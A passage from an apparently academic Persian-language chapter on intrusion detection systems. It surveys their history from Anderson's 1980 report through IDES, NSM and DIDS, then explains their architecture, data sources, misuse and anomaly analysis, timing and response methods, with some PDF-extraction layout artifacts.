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  نفوذ هاي تشخيص سيستم -۲
يک . تحقيقات بسياري در اين زمينه صورت گرفته استنفوذ مطرح شد،  هاي تشخيص  که مبحث سيستم۱۹۷۰از دهه 

نفوذ عبارت است از يک يا چند سيستم که توانايي تشخيص تغييرات و رفتارهاي خاصي در يک ميزبان و  سيستم تشخيص

  .شود نفوذ شرح  داده مي هاي تشخيص در اين بخش به صورت مختصر مفاهيم کلي سيتم. يا شبکه را دارا باشند

   نفوذ هاي تشخيص ستمتاريخچه سي -۲-۱
هاي امنيتي رشد بسياري پيدا  ، نياز به سيستم۱۹۷۰با افزايش سرعت، کارايي، تعداد و ارتباط کامپيوترهاي در دهه 

 EDP١هاي بازرسي  ها و ارگان اي را مابين دولت  سازمان بين المللي استاندارد، جلسه۱۹۷۸ و ۱۹۷۷هاي  در سال. کرد

در همين . ها در آن زمان بود ه، تهيه گزارشي از وضعيت امنيت، بازرسي و کنترل سيستمتشکيل داد که نتيجه آن جلس

هاي خود، تحقيق بسيار دقيقي را در مورد  زمان وزارت نيروي کشور آمريکا به علت نگراني از اوضاع امنيتي سيستم

 .  انجام شدJames P. Andersonاين کار توسط فردي به نام . هاي کامپيوتري شروع کرد بازرسي و امنيت سيستم

Andersonگزارش . ها ارائه داد اي در رابطه با لزوم بازرسي خودکار امنيت سيستم  اولين فردي است که مقاله

Anderson در اين گزارش . نفوذ معرفي کرد توان به عنوان هسته اوليه مفاهيم تشخيص  تهيه شد را مي۱۹۸۰ كه در سال

ها معرفي شد و همچنين مشخص شده است که در صورت بروز خرابي در سيستم  نيت سيستمهايي براي بازرسي ام مکانيزم

  .چگونه با آن مقابله شود

هاي کامپيوتري   تحقيقاتي در زمينه امنيت سيستمPeter Neumann و Dorotty Denning، ۱۹۸۶ تا ۱۹۸۴هاي  در سال

هاي خبره عمل   بود که بر اساس سيستمreal-timeت نفوذ به صور انجام دادند که نتيجه آن توليد يک سيستم تشخيص

استفاده مورد  در اين پروژه ترکيبي از تشخيص ناهنجاري و تشخيص سوء.  نامگذاري شدIDES٢اين سيستم . کرد مي

جاد اي نفوذ که از آن به بعد هاي تشخيص ايده مطرح شده در اين پروژه به عنوان پايه خيلي از سيستم .بررسي قرار گرفته بود

  .شدند مورد استفاده قرار گرفت

اي از تحقيقات در   صورت گرفت، شروع کننده زنجيرهIDES و تحقيقاتي که بر روي پروژه Andersonگزارش 

هاي مطرح که از آن تاريخ به بعد به وجود آمدند  در ادامه تعدادي از سيستم. نفوذ بودند هاي تشخيص رابطه با سيستم

  :شود پرداخته مي

۲-۱-۱- Audit Analysis Project  
هدف از . اي را به دستور نيروي دريايي آمريکا شروع کردند  پروژهSytek يک گروه در ۱۹۸۵ تا ۱۹۸۴هاي  در سال

هاي  داده.  بودUnixعامل   براي سيستم٣هاي سطح پوسته آوري داده انجام اين پروژه تهيه يک روش اتوماتيک براي جمع

                                                        
1 Electronic Data Processing 
2 Intrusion Detection Expert System 
3 Shell 
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در اين پروژه توانايي جدا کردن رفتار مطلوب از رفتار غيرمطلوب نشان . گرفتند  ميآوري شده سپس مورد آناليز قرار جمع

  .[1]داده شده بود

۲-۱-۲- Discovery  
Discoveryباشد که براي تشخيص و جلوگيري از بروز مشکلات در بانک  هاي خبره مي  يک سيستم مبتني بر سيستم

نفوذ زمان خود متفاوت  هاي تشخيص تا حدي با سيستماين سيستم .   به وجود آمده بودTRWاطلاعات شرکت اعتباري 

دادند،  عامل را مورد بررسي قرار مي هاي سيستم نفوذ که فعاليت هاي تشخيص در اين سيستم بر خلاف ساير سيستم. بود

log هدف از کار . داد هاي اطلاعاتي را مورد بررسي قرار مي هاي بانکDiscoveryاز  تهيه گزارش از عملکردهاي غيرمج

 نوشته شده Cobolها استفاده و به زبان  هاي آماري براي آناليز داده در اين پروژه از مدل. با بانک اطلاعاتي بوده است

  .[1]است

۲-۱-۳- Haystack  
به ) ۱۹۸۹ تا ۱۹۸۷سال  (Tracor Applied Scienceو ) ۱۹۹۱ تا ۱۹۸۹سال  (Haystackاين پروژه توسط لابراتوار 

 فراهم کردن امکاني براي ماموران امنيتي بود Haystackسازي  هدف از پياده. ا انجام شددرخواست نيروي هوايي آمريک

 اين کامپيوترها عبارت بودند از  .هوايي را تشخيص بدهند  نيرويSBLC١که بتوانند استفاده غيرمجاز از کامپيوترهاي 

Mainframe  عامل   که سيستم1100/60هايvintage[1]کرد  بر روي آنها کار مي .  

ها را  اين سيستم توانايي تشخيص ناهنجاري.   نوشته شده استSQL و ANSI Cموتور پردازشگر اين سيستم به زبان 

آوري و عمل پردازش  براي انجام  اين کار اطلاعات به صورت متناوب جمع.  را دارا بودbatch modeبا استفاده از حالت 

  .گرفت بر روي آنها صورت مي

۲-۱-۴- MIDAS  
MIDASتوسط٢  NCSCهاي  سازي شد که هدف از آن بررسي سيستم  پياده٣Dockmasterدر اين سيستم .  بود٤

دهنده يک ارتباط بود با رفتار کاربران اين اطلاعات که هر طبقه نشان  سپس. شدند بندي ميآوري و طبقهاطلاعات جمع

 توسط MIDAS. هاي غيرمعمول را تشخيص دهندتوانستند رفتارهاي غلط و رفتار با انجام اين مقايسه مي. شدند مقايسه مي

  .[1]هاي خبره براي عمل پردازش استفاده شده است در اين سيستم از سيستم. سازي شده است  پيادهLISPزبان 

۲-۱-۵- NADIR  
NADIRتوسط بخش کامپيوتر آزمايشگاه ٥ Los Alamosسازي شده، که به منظور بررسي عملکرد افراد بر   پياده

 کاربر از ۹۰۰۰ است که بيش از Los Alamos شبکه اصلي ICNشبکه .  استفاده قرار گرفته بود موردICN١روي شبکه 

                                                        
1 Standard Base Level Computer 
2 Multics Intrusion Detection and Alerting System 
3 National Computer Security Center 

  شود  بر روي آن اجرا ميMulticsعامل   است و سيستمHoneywell DPS 8/70يک سيستم   4
5 Network Audit Direstor and Intrusion Reporter 
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در اين سيستم . داد آوري شده شبکه را مورد بررسي قرار مي  با استفاده از اطلاعات جمعNADIR. کردند آن استفاده مي

  .[1]بودهاي خبره استفاده شده  هاي آماري و سيستم براي پردازش اطلاعات از روش

۲-۱-۶- NSM  
NSMنفوذ نام  توان به عنوان اولين سيستم تشخيص اين سيستم را مي.  سازي شده است  توسط دانشگاه کالفرنيا پياده٢

هاي  پيش از  اين سيستم، ساير سيستم. کرده است برد که از اطلاعات شبکه به عنوان منبع اطلاعات استفاده مي

از . [1]دادند ها، انجام مي هاي برنامه logعامل و يا  آوري شده از سيستم معنفوذ عمل خود را بر اساس اطلاعات ج تشخيص

 به طور کلي NSMروش کار .  در بسياري از محصولات ديگر مورد استفاده قرار گرفتNSMاين زمان به بعد، عملکرد 

  :عبارت است از

 promiscuousقرار دادن کارت شبکه در حالت  •

 هاي شبکه آوري بسته جمع •

 هاي مختلف دن اطلاعات لايهجدا کر •

 آناليز اطلاعات تفکيک شده •

۲-۱-۷- Wisdom and Sense  
W&S يک سيستم تشخيص ناهنجاري است که توسط يک گروه امنيتي در آزمايشگاه   

Los Alamosسازي شده بود  پياده .W&Sاين .  باشد نفوذ مبتني بر شبكه مي هاي تشخيص سازي سيستم  دومين قدم در پياده

هاي خبره   از سيستمW&Sدر . سازي شده بود  پيادهVAX/VMSهاي   و براي ماشينUnixعامل  ي سيستمسيستم بر رو

  .[1]هاي زمان خود متفاوت بود مبتني بر قانون استفاده شده بود که از نظر عملکرد با سيستم

۲-۱-۸- DIDS  
دين معني که اطلاعات را از كردند، ب نفوذ به صورت مبتني بر ميزبان عمل مي هاي تشخيص ، اکثر سيستم۱۹۹۰تا سال 

 اين  ،NSMبا آمدن . دادند کردند و آنها را مورد بررسي قرار مي آوري مي هاي کاربردي جمع عامل و يا برنامه سطح سيستم

آوري شده از ترافيک شبکه شروع  نفوذ کار خود را بر اساس اطلاعات جمع هاي تشخيص محدوديت کنار رفت و سيستم

 به وجود آيد که هر دو مدل  نترنت و مطرح شدن مشکلات امنيتي مربوط به آن لازم شد که سيستمي اي با گسترش. کردند

 بود که توسط DIDS٣که به  اين ترتيب مطرح شد  اولين سيستمي. مبتني بر ميزبان و مبتني بر شبكه را يکجا جمع کند

  .[1]سازي شد  پيادهLawrence Livermoreشگاه  و آزمايHaystackنيروي هوايي آمريکا، دانشگاه کالفرنيا، آزمايشگاه 

  
 

                                                                                                                                                                     
1 Integerated Computing Network 
2 Network System Monitor 
3 Distributed Intrusion Detection System 
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  نفوذ مفاهيم کلي تشخيص -۲-۲
  .شود هاي تشخيض نفوذ پرداخته مي در اين بخش به بيان مفاهيم اصلي سيستم

 نفوذ هاي تشخيص معماري سيستم -۲-۲-۱
  :[20]باشد هاي زير مي نفوذ به صورت کلي داراي بخش يک سيستم تشخيص

 بخش جمع کننده اطلاعاتبخش جمع کننده اطلاعاتبخش جمع کننده اطلاعاتبخش جمع کننده اطلاعات •

 اين بخش بايد بتواند تغييرات رخ داده شده در  براي مثال. کردن اطلاعات را برعهده دارد يفه جمع اين بخش وظ

 .آوري کند فايل سيستم و يا عملکرد شبکه را تشخيص دهد و اطلاعات لازم را جمع

 بخش بازبيني سيستمبخش بازبيني سيستمبخش بازبيني سيستمبخش بازبيني سيستم •

به  اين ترتيب . رسي کندنفوذ بايد داراي بخشي باشد که خود سيستم را از نظر عملکرد بر  هر سيستم تشخيص

 .توان از صحت عملکرد سيستم، اطمينان حاصل کرد مي

 بخش ذخيره اطلاعاتبخش ذخيره اطلاعاتبخش ذخيره اطلاعاتبخش ذخيره اطلاعات •

تواند يک فايل متن ساده و يا  اين محل مي.  کند نفوذ اطلاعات خود را در محلي ذخيره مي  هر سيستم تشخيص

 .آنکه يک بانک اطلاعاتي باشد

 بخش کنترل و مديريتبخش کنترل و مديريتبخش کنترل و مديريتبخش کنترل و مديريت •

 .نفوذ ارتباط برقرار کند و دستورات لازم را به آن بدهد تواند با سيستم تشخيص  توسط  اين بخش کاربر مي

 بخش آناليزبخش آناليزبخش آناليزبخش آناليز •

 .آوري شده را بر عهده دارد نفوذ، وظيفه بررسي اطلاعات جمع  اين بخش سيستم تشخيص

 وجود هاي مختلفي براي آن به نفوذ، معماري هاي يک سيستم تشخيص با توجه به نحوه قرار گرفتن هر يک از بخش

  .آيد مي

نفوذ، ديدگاه ديگري نيز وجود دارد که از اين ديدگاه، دو معماري کلي را  هاي تشخيص در رابطه با معماري سيستم

  : توان در نظر گرفت مي

 .نفوذ در يک محل باشند سيستم تحت حفاظت و سيستم تشخيص •

 .نفوذ به صورت جداگانه قرار گيرند سيستم تحت حفاظت و سيستم تشخيص •

  : نفوذ از سيستم تحت حفاظت داراي مزايايي است ا کردن سيستم تشخيصجد

 نفوذ جلوگيري از پاک شدن رکوردهاي ذخيره شده توسط سيستم تشخيص •

 جلوگيري از تغيير اطلاعات توسط شخص نفوذ کننده •

 بالا بردن کارايي با کم کردن بار پردازشي بر روي سيستم تحت حفاظت •
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 هاي دريافت اطلاعات روش -۲-۲-۲
تواند به عنوان يک توليدکننده رويداد در   اين منبع مي .نفوذ وجود منبع اطلاعات است هاي تشخيص لين نياز سيستماو

نفوذ  اين منابع با توجه  هاي تشخيص در سيستم. بندي هستند هاي مختلفي قابل دسته منابع اطلاعات به روش. نظر گرفته شود

 :[1]ه اين معيار، دو دسته کلي به وجود خواهد آمدبا توجه ب. شوند بندي مي به مکانشان دسته

        مبتني بر ميزبانمبتني بر ميزبانمبتني بر ميزبانمبتني بر ميزبان •

  .شوند آوري مي باشند جمع عامل مي در اين دسته، اطلاعات بر اساس منابع داخل ميزبان که اکثراً در سطح سيستم

هاي  ر سيستماگر از يک ديد بالاتر به قضيه نگاه شود، د.  هستند١هاي بازرسي ها و دنبالهlogاين منابع شامل 

 :ميتني بر ميزبان دو دسته ديگر منبع اطلاعات به وجود خواهد آمد که عبارتند از

 ٢هاي كاربرديهاي كاربرديهاي كاربرديهاي كاربردي    مبتني بر برنامهمبتني بر برنامهمبتني بر برنامهمبتني بر برنامه •

 اين منابع  .شوند آوري مي هاي کاربردي که در حال اجرا هستند جمع  در اين دسته، اطلاعات بر اساس برنامه

 .باشد بردي و يا ساير اطلاعات ذخيره شده بر اساس آنها ميهاي کار هاي رويدادها براي برنامهlog شامل 

 ٣٣٣٣مبتني بر هدف مبتني بر هدف مبتني بر هدف مبتني بر هدف  •

 اينکه در اين دسته، سيستم مبتني بر هدف اطلاعات مربوط به  ها تفاوت دارد، به علت  اين دسته با ساير دسته

اي هر يک کند به  اين معني که خود سيستم، اشياء با اهميت سيستم را مشخص و بر خود را، خود توليد مي

سپس به صورت متناوب با مقايسه  اين مشخصات با مقادير به دست آمده به . آورد مشخصاتي را بدست مي

 . کند عنوان منبع اطلاعات استفاده مي

 مبتني بر شبكهمبتني بر شبكهمبتني بر شبكهمبتني بر شبكه •

اين عمل با قرار .  شوند آوري مي هاي عبوري در سطح شبکه به عنوان منبع اطلاعات جمع  در  اين دسته، بسته

 . گيرد  صورت ميpromiscuousرت شبکه در حالت دادن کا

 هاي آناليز روش -۲-۲-۳
بندي آنها، نياز بعدي تعيين يک  نفوذ بعد از معرفي منابع اطلاعات و مشخص شدن نوع دسته در فرايندهاي تشخيص

يتي، انواع حملات هاي امن شوند و با توجه به سياست در آناليزگر اطلاعات از منابع اطلاعات استخراج مي. باشد آناليزگر مي

  .گيرند مورد بررسي قرار مي... و 

استفاده و تشخيص ناهنجاري و يا ترکيبي  هاي آناليز به دو دسته کلي تشخيص سوء نفوذ، روش هاي تشخيص در سيستم

  :[1]شوند از آنها تقسيم مي

  

  

                                                        
1 OS Audit trail 
2 Application based 
3 Target based 
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 استفادهاستفادهاستفادهاستفاده    تشخيص سوءتشخيص سوءتشخيص سوءتشخيص سوء •

براي انجام  اين کار، ابتدا . عمل خلاف باشدگردد که بيانگر يک  اي مي  در اين روش، آناليزگر به دنبال نشانه

در . هاي امنيتي باشد پيدا شوند شوند تا الگوهايي که بيانگر نوع حمله و يا ساير سياست اطلاعات فيلتر مي

در حال حاضر اکثر . گيرد هاي تشخيص الگو صورت مي استفاده  اين کار توسط مکانيزم تشخيص سوء

 .کنند روش استفاده مينفوذ از  اين  هاي تشخيص سيستم

 تشخيص ناهنجاريتشخيص ناهنجاريتشخيص ناهنجاريتشخيص ناهنجاري •

آوري شده  براي انجام  اين کار، اطلاعات جمع. گردد  در اين روش آناليزگر به دنبال موارد غيرمعمول مي

 . شوند تا الگوهايي که نشان دهنده اعمال غيرمعمول هستند پيدا شوند بررسي مي

ها، روش تشخيص ناهنجاري وظيفه   اين سيستم در. کنند اده ميدر برخي موارد از  اين دو روش در کنار يکديگر استف

استفاده وظيفه حفاظت سيستم تشخيص ناهنجاري را بر عهده  تشخيص حملات جديد و ناشناخته را دارد و تشخيص سوء

نجاري آوري شده براي سيستم تشخيص ناه آيد که اطلاعات و الگوهاي جمع با اين كار  اين تضمين به وجود مي. گيرد مي

  .کند نشان داده شده است که از دو روش استفاده مي  از سيستمي  دياگرامي۱-۲در شکل . امن باشند
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 زمانبندي -۲-۲-۴
تواند به دو صورت  ا ميه آناليز داده. باشد  مي١ها مطرح است، زمانبندي يکي از مواردي که در رابطه با آناليز داده

real-time و batch mode[1] باشد.  

  

                                                        
1 Timing 
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• batch mode 

شوند و سپس به  آوري مي  اين است که اطلاعات مربوط به يک دوره زماني جمع batch mode منظور از آناليز 

 علت  اينکه به. شده است  استفاده مي هاي قديمي استفاده از  اين نوع زمانبندي در سيستم. شوند آناليزگر داده مي

ها بتوانند به صورت  به حدي نبوده است که سيستم هاي قديمي  پهناي باند ارتباطي و قدرت پردازشي در سيستم

real-timeعمل کنند . 

• real time 
 اين روش استفاده  هاي جديد از  با بالا رفتن قدرت پردازشي و همچنين افزايش پهناي باند ارتباطي، اکثر سيستم

دهد و يا در هر فاصله زماني کوتاه، منبع اطلاعات به آناليزگر  در اين روش با هر رويدادي که رخ مي. کنند مي

  .شود داده مي

 هاي پاسخ روش -۲-۲-۵
نفوذ مطرح است، نحوه عملي است که تشخيص دهنده به آن طريق  هاي تشخيص فاکتور ديگري که در سيستم

اين دو روش عبارتند از . کنند وش کلي در مقابل رخدادها عمل مينفوذ به دو ر هاي تشخيص سيستم. دهد واکنش نشان مي

  .٢ و پاسخ فعال١جوابگويي

هاي متفاوتي  سازي ها و پياده ايجاد طرح  شود باعث نفوذ در نظر گرفته مي شيوه واکنشي که براي يک سيستم تشخيص

ت تعقيب عمل خلاف مورد نظر است کند در يک حال براي مثال در سيستمي كه به صورت جوابگويي عمل مي. شده است

ها رسيدگي شدند و حمله تشخيص داده  در  اين حالت بعد از آنکه داده. و در حالت ديگر جلوگيري از حمله اهميت دارد

  .[1]شوند ها دور ريخته مي شده، آن داده

 جوابگوييجوابگوييجوابگوييجوابگويي •

يي از اين عمل جبران هدف نها. باشد  در اين روش هدف برگرداندن عمل انجام شده به سمت عامل نفوذ مي

استفاده از اين روش يکي از مسايل قابل بحث در زمينه . کردن عمل خلاف در رابطه با مسئول خرابي است

 .باشد نفوذ مي تشخيص

 پاسخ فعالپاسخ فعالپاسخ فعالپاسخ فعال •

. گيرد که نتيجه آناليزها يک  نتيجه قابل اجرا باشد نفوذ، پاسخ فعال وقتي صورت مي هاي تشخيص  در سيستم

ها براي  اين داده.  باشد  و تهيه گزارش از آنها ميlogاسخ فعال ذخيره اطلاعات در يک فايل رايج ترين نوع پ

تواند صورت  هايي که مي يکي ديگر از جواب. تواند قابل استفاده باشد هاي متفاوت مي افراد مختلف به صورت

هاي فعال   دو مورد، جواب اين علاوه بر.  است که مورد حمله قرار گرفته است گيرد، تغيير وضعيت سيستمي

  ...ديگري نيز وجود دارد نظير بلاک کردن حمله کننده، تغيير پيکربندي ديواره آتش و 

                                                        
1 Accountability 
2 Active response 
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 کنترل سيستم -۲-۲-۶
براي انجام  اين کار سه . نفوذ، مساله کنترل سيستم است هاي تشخيص يکي ديگر از مسائل مطرح در رابطه با سيستم

  :[1]گيرد روش عمده مورد استفاده قرار مي

 مرکزيمرکزيمرکزيمرکزي •

در اين روش يک سيستم مديريت . باشد  در اين مدل سيستم مديريت و توليد گزارش به صورت مرکزي مي

نيازهايي دارد، براي مثال تبادل   اين روش پيش استفاده از. کند نفوذ را کنترل مي مرکزي، سيستم تشخيص

 بر اين مورد بايد راهي وجود داشته علاوه. ها بايد به صورت امن انجام شود اطلاعات بين مرکز و ساير بخش

.  ايستاده است باشد که مشخص شود در هر لحظه چه بخشي از سيستم در حال فعاليت و چه بخشي از حرکت

 .باشد مساله ديگر در رابطه با مدل مرکزي، ارسال شرايط نهايي به صورت مفهوم به کاربران نهايي مي

 استفاده از امکانات مديريت شبکهاستفاده از امکانات مديريت شبکهاستفاده از امکانات مديريت شبکهاستفاده از امکانات مديريت شبکه •

نفوذ را به عنوان تابعي از سيستم مديريت  توان عمل تشخيص ع مشکلاتي که روش مرکزي دارد مي براي رف

توانند به عنوان يک  هاي مديريت شبکه مي آوري شده توسط سيستم در اين روش اطلاعات جمع. شبکه درآورد

 .نفوذ مورد استفاده قرار گيرند هاي تشخيص منبع اطلاعات براي سيستم

 توزيع شدهتوزيع شدهتوزيع شدهتوزيع شده •

در اين حالت . باشد ه ديگري که براي رفع مشکل حالت مرکزي وجود دارد استفاده از مدل توزيع شده مي را

هاي متحرک  توان استفاده کرد استفاده از عامل روشي که در اين مدل مي. باشد آناليزگر به صورت مرکزي نمي

هاي مختلف   شده بر روي سيستمآوري کند و نتايج جمع در اين حالت آناليزگر در سطح شبکه حرکت مي. است

 .دهد را مورد آناليز قرار مي

  منابع اطلاعات -۲-۳
هاي مختلف از منابع  ها به روش اين داده.  هاي ورودي است نفوذ فراهم کردن داده اولين نياز براي هر سيستم تشخيص

شوند که بر  ه کلي تقسيم مينفوذ، منابع از نظر پراکندگي به دو دست هاي تشخيص در سيستم. شوند گوناگوني فراهم مي

نفوذ  نفوذ مبتني بر ميزبان و سيستم تشخيص سيستم تشخيص: آيد نفوذ به وجود مي اساس آن، دو دسته سيستم تشخيص

  :[1]شود ها شرح داده مي در ادامه  اين بخش هر يک از دسته. مبتني بر شبكه

 منابع اطلاعات سيستم مبتني بر ميزبان  -۲-۳-۱
های کاربردي  عامل و يا برنامه هاي سيستم نفوذ، اطلاعات توسط مشخصات و داده هاي تشخيص در اين دسته از سيستم

  :شوند فراهم مي
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 عامل  دنباله بازرسي سيستم -۲-۳-۱-۱

. باشند عامل مي هاي بازرسي سيستم کند، دنباله نفوذ از آنها استفاده مي هاي تشخيص اولين منبع اطلاعات که سيستم

دنباله بازرسي دربرگيرنده . شود عامل است تهيه مي نام بخش بازرسي که زير مجموعه سيستمدنباله بازرسي توسط بخشي به 

اند و در يک يا چند فايل به نام فايل  اين اطلاعات بر حسب زمان مرتب شده.  باشد هاي سيستم مي اطلاعاتي درباره فعاليت

وردهاي بازرسي است که هر يک بيانگر يک اي از رک هر فايل بازرسي متشکل از مجموعه. شوند  ذخيره مي١بازرسي

  .شوند ايجاد مي هاي کاربر و يا فرايندها   اين رکوردها توسط فعاليت .رويداد در سيستم هستند

  هاي بازرسي، دو مطلب را مورد توجه قرار  عامل در طراحي دنباله هاي توليدکنندگان سيستم

ا به صورت خودمحتوا باشند تا احتياجي به رکورد ديگري براي تفسير آن ه  اينکه، رکوردهاي موجود در دنباله اول: اند داده

 اين معني که براي يک رويداد اطلاعات در رکوردهاي  ها حذف شوند، به نباشد و ديگر  اينکه اطلاعات اضافي از دنباله

  .مختلف ذخيره نشود

گيرد، اما  نفوذ مورد استفاده قرار مي اي تشخيصه هاي بازرسي به عنوان مهمترين منبع اطلاعات سيستم با  اينکه دنباله

هاي  که مورد استفاده سيستم ها ممکن است دربرگيرنده اطلاعات مهمي تحقيقات نشان داده است که  اين دنباله

 اين مشکلات، بسياري از  اما با وجود. ها کم است نفوذ قرار بگيرد نباشند، همچنين شفافيت موجود در دنباله تشخيص

ها و حفاظتي است که  ها، امنيت دنباله  اين سيستم مهمترين دليل. کنند ها استفاده مي نفوذ از  اين دنباله هاي تشخيص سيستم

هاي خوبي براي رويدادهاي  ها آشکارکننده کننده شود و ديگر  اينکه  اين دنبال عامل بر روي آنها انجام مي توسط سيستم

  .سيستم هستند

 systemهاي  هاي لايه هسته شامل آرگومان دنباله. شوند  و کاربر ذخيره مي٢ دو سطح هستههاي بازرسي در هر دنباله

call هاي  کننده توضيح سطح بالاتر از رويدادها و برنامه هاي لايه کاربر مشخص باشد و دنباله ها و مقادير بازگشتي آنها مي

  .باشد کاربردي مي

۲-۳-۱-۲- Log هاي سيستم 

Log اين .  باشند د که مشخص کننده رويدادهاي سيستم و تنظيمات مختلف سيستم ميهايي هستن هاي سيستم فايل

log اين .  تري قرار دارند شوند از نظر امنيت در سطح پايين هاي بازرسي که توسط هسته توليد مي ها در مقايسه با دنباله

طح کاربر است که در مقايسه با  سيستم، يک برنامه سlogاول  اينکه برنامه توليدکننده : باشد ضعف به چند علت مي

، توسط logعلاوه بر اين، اطلاعات توليد شده توسط برنامه توليد کننده . عامل از امنيت کمتري برخوردار است سيستم

 اينکه  هاي بازرسي از امنيت کمتري برخوردار هستند و نهايتاً شود که باز در مقايسه با دنباله سيستم نگهداري مي فايل

log يه شده توسط توليدکننده هاي تهlogهاي بازرسي به صورت رمز  باشند در حاليکه اطلاعات دنباله  به صورت متن مي

  .شوند شده ذخيره مي

                                                        
1 Audit file 
2 Kernel 
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نفوذ از آنها استفاده  هاي تشخيص ها، بسياري از سيستم logها، به علت سادگي استفاده از اين  با وجود تمام اين ضعف

 به عنوان منبع اطلاعات سود logتوان از وجود  اي نباشد، مي هاي بازرسي کار ساده دنبالهدر مواردي که استفاده از . کنند مي

  .جست

 هاي کاربردي اطلاعات برنامه -۲-۳-۱-۳

هاي  هاي سيستم در مقايسه با برنامه اما غالباً فعاليت. در دو منبع قبل اطلاعات توليد شده در سطح سيستم بودند

هاي کاربردي نيز بتوان اطلاعاتي را  ند، به همين جهت لازم است براي برنامهکاربردي از امنيت بيشتري برخوردار هست

هاي کاربردي، يکي ديگر از منابع اطلاعاتي است که مورد استفاده  اطلاعات توليد شده توسط برنامه. بدست آورد

  .گيرد نفوذ قرار مي هاي تشخيص سيستم

هاي  توان به اطلاعات توليد شده توسط بانک شود، مي ي توليد ميبراي مثال از منابع اطلاعاتي که توسط برنامه کاربرد

گيرند،  هاي اطلاعاتي از مهمترين منابعي است که مورد حمله قرار مي ها، بانک در بسياري از سازمان. اطلاعاتي اشاره کرد

ات توليد شده توسط برنامه مثال ديگري که از اطلاع. باشد بنابراين اطلاعات توليد شده توسط آنها بسيار حائز اهميت مي

اي دارند  logها مکانيزم توليد  web serverاکثر . باشد  ميweb serverتوان ياد کرد، اطلاعات توليدي يک  کاربردي مي

 .باشد که مشخص کننده مراجعات انجام شده به سايت مربوطه مي

 بازبيني مبتني بر هدف -۲-۳-۱-۴

در اين حالت، فرض  اين است که در .  مبتني بر ميزبان استروش بازبيني مبتني بر هدف حالت خاصي از بازبيني

براي انجام  . هايي را توليد کرد و از آنها استفاده کرد logهاي سطح هسته وجود نداشته باشند، بايد بتوان  صورتيکه دنباله

ء قابل توجه در سيستم براي  اين کار، اشيا. ها را مشخص کرد logسازي  اين کار بايد در ابتدا چگونگي تعريف و پياده

تواند   اين اطلاعات براي مثال مي .شود مشخص و سپس با يک مکانيزم بازبيني اطلاعاتي در مورد آن اشياء توليد مي

بدين ترتيب هر تغييري که در اطلاعات تهيه شده از اشياء مورد نظر .  آن باشدCRCدهنده يکپارچگي شئ و يا کد  نشان

  .شود  ذخيره و نگهداري ميانجام شود، رويداد مربوطه

 منابع اطلاعات سيستم مبتني بر شبكه -۲-۳-۲
ها از  در اين حالت داده. باشد نفوذ مي هاي تشخيص ترين منابع اطلاعات براي سيستم ترافيک شبکه يکي از رايج

  .گيرند آوري و مورد آناليز قرار مي ترافيک شبکه جمع

ها  ها، نرخ ورود بسته يکي از علت. باشد ختلف داراي اهميت ميهاي م اطلاعات بدست آمده از ترافيک شبکه از جنبه

يکي .  ايجاد کند اي نيست که دريافت آنها در کارائي سيستم مشکلي ها به اندازه در اکثر موارد، نرخ ورود بسته. باشد مي

علاوه بر اين موارد، . باشد  اين است که دريافت اطلاعات از ديد کاربر مخفي مي ديگر از مزاياي استفاده از اطلاعات شبکه

عامل و يا برنامه کاربردي قابل  توان حملاتي را تشخيص داد که با بررسي اطلاعات سيستم با بررسي اطلاعات شبکه مي

  .تشخيص نبوده است
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هاي عبوري بر روي  کنند، بسته نفوذ که از ترافيک شبکه به عنوان منبع اطلاعات استفاده مي هاي تشخيص در سيستم

با  . شود  انجام ميpromiscuous اين کار با قرار دادن کارت شبکه در حالت  .شوند  شبكه دريافت مي ه توسط کارتشبک

  .شود ها نيز توسط کارت دريافت مي هاي مربوط به آن سيستم، ساير بسته اين کار، علاوه بر دريافت بسته

 را نام libpcapتوان کتابخانه  به عنوان نمونه مي. ستها از روي شبکه، امکانات خاصي فراهم شده ا براي دريافت بسته

  .کنند ها استفاده مي نفوذ از اين کتابخانه براي دريافت بسته هاي تشخيص بسياري از سيستم. برد

  نفوذ هاي تشخيص آناليز و تکنيک -۲-۴
  :[1]فاز مختلف تقسيم کردتوان به سه  فرايند آناليز را مي. باشد ها مي نفوذ، آناليز داده هاي تشخيص کار اصلي سيستم

 ساختن موتور آناليزکننده .۱

 ها آناليز کردن داده .۲

 بازگشت و اصلاح .۳

ها و  ها، کلاس بندي داده هر کدام از دو فاز اول، خود از سه مرحله تشکيل شده اند که عبارتند از پيش پردازش داده

  .پردازش نهايي

 ساختن موتور آناليز کنندهساختن موتور آناليز کنندهساختن موتور آناليز کنندهساختن موتور آناليز کننده •

ها و  ها، کلاس بندي داده در اين فاز سه عمل پيش پردازش داده. ور آناليز استاولين فاز آناليز، ساختن موت

  :شود براي انجام  اين کارها مراحل زير انجام مي. گيرد پردازش نهايي صورت مي

استفاده  اين اطلاعات  در حالت تشخيص سوء. شوند آوري مي هايي به عنوان نمونه جمع در ابتدا داده .۱

و براي حالت تشخيص ناهنجاري اين ... ملات، نقاط آسيب پذير، نفوذها و عبارتند از مشخصات ح

 .اطلاعات عبارتند از رفتار سيستم در حالت عادي

که  باشد تا بتوان آنها را به فرمي ها، انجام پيش پردازش بر روي آنها مي آوري داده مرحله بعد از جمع .۲

 .قابل استفاده باشد تبديل کرد

هاي  داده. شود ازش، عمل دست بندي و ساختن مدل براي حملات انجام ميبعد از انجام پيش پرد .۳

هاي تشخيص ناهنجاري بر  شوند و داده استفاده، بر اساس قوانين و الگوها دسته بندي مي تشخيص سوء

 .گيرد بندي صورت مي ها و مشخصات رفتاري کاربران و سيستم عمل دسته اساس نشانه

بدين ترتيب موتور آناليزگر . کنند هايي ذخيره مي ر، آنها را در محلهاي مورد نظ بعد از ساختن مدل .۴

 .شود ساخته مي

 هاهاهاها    آناليز کردن دادهآناليز کردن دادهآناليز کردن دادهآناليز کردن داده •

 اين کار توسط موتور آناليزگر که در فاز قبل ساخته شده و اعمال آن بر روي  .باشد فاز دوم انجام آناليز مي

  : اين ترتيب است هاين فاز ب  روند انجام کار در. شود هاي ورودي انجام مي داده

 .تواند توليد شده باشد هاي جديد که توسط هر يک از منابع اطلاعات مي دريافت داده .۱



  ١٣

هاي موجود در موتور  هاي جديد، براي آنکه بتوان آنها را با مدل انجام پيش پردازش بر روي داده .۲

مت مورد نظر انجام استفاده  اين کار با تبديل اطلاعات به فر در تشخيص سوء. آناليزگر بررسي کرد

ها و مشخصات رفتاري کاربران و سيستم  شود و در تشخيص ناهنجاري  اين کار با تعديل نشانه مي

 .شود انجام مي

هاي  ها و نشانه اين کار با مقايسه نشانه.  شود پردازش شده انجام مي عمل آناليز بر روي اطلاعات پيش .۳

 .شود ذخيره شده از قبل در موتور آناليزگر انجام مي

 
